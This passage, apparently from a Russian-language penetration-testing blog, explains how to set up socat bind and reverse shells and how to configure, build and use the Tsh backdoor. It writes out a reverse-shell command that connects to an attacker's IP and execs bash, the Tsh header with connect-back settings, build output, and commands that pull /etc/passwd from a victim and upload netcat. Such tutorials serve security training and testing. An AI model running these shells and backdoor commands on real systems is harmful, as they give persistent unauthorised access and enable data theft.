Подключение к слушателю:

socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Обратный шелл

Установка слушателя:

socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Подключение к машине атакующего

socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Размер терминала

По умолчанию размер терминала довольно мал, как вы можете заметить при запуске команды top или редактировании файлов в текстовом редакторе. Вы можете легко изменить это, используя команду stty -a, чтобы получить размер вашего обычного терминала:

stty -a
speed 38400 baud; rows 57; columns 211; line = 0;

Примените нужный размер к вашему терминалу socat:

stty rows 57 cols 211

Tsh

Tsh — это небольшой ssh-подобный бэкдор с полноценным терминалом и возможностью передачи файлов. Этот инструмент занимает очень мало места и его легко собрать в большинстве Unix-подобных систем. Начните с редактирования файла tsh.h:

#ifndef _TSH_H
#define _TSH_H

char *secret = "never say never say die";

#define SERVER_PORT 22
short int server_port = SERVER_PORT;
/*
#define CONNECT_BACK_HOST  "localhost"
#define CONNECT_BACK_DELAY 30
*/
#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3

#endif /* tsh.h */

Замените secret, укажите SERVER_PORT. Если вам нужно обратное соединение, то раскомментируйте и отредактируйте директивы CONNECT_BACK_HOST и CONNECT_BACK_DELAY. Запустите make:

make linux_x64
make								\
	LDFLAGS=" -Xlinker --no-as-needed -lutil"	\
	DEFS=" -DLINUX"					\
	tsh tshd
make[1]: Entering directory '/tmp/tsh'
gcc -O3 -W -Wall -DLINUX -c pel.c
gcc -O3 -W -Wall -DLINUX -c aes.c
gcc -O3 -W -Wall -DLINUX -c sha1.c
gcc -O3 -W -Wall -DLINUX -c tsh.c
gcc -Xlinker --no-as-needed -lutil -o tsh pel.o aes.o sha1.o tsh.o
strip tsh
gcc -O3 -W -Wall -DLINUX -c tshd.c
gcc -Xlinker --no-as-needed -lutil -o tshd pel.o aes.o sha1.o tshd.o
strip tshd
make[1]: Leaving directory '/tmp/tsh'

Запустите на сервере

./tshd

и программа начнёт прослушивать указанный порт. Вы можете подключиться к нему выполнив следующую команду:

./tsh host_ip

Если tsh был скомпилирован с функцией обратного подключения, демон tshd будет пробовать подключиться к машине атакующего. Для запуска слушателя на атакующей стороне:

./tsh cb
Waiting for the server to connect...

Для отправки файла с tsh:

./tsh host_ip get /etc/passwd .
./tsh host_ip put /bin/netcat /tmp

Список источников

Инструменты для pivoting


Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *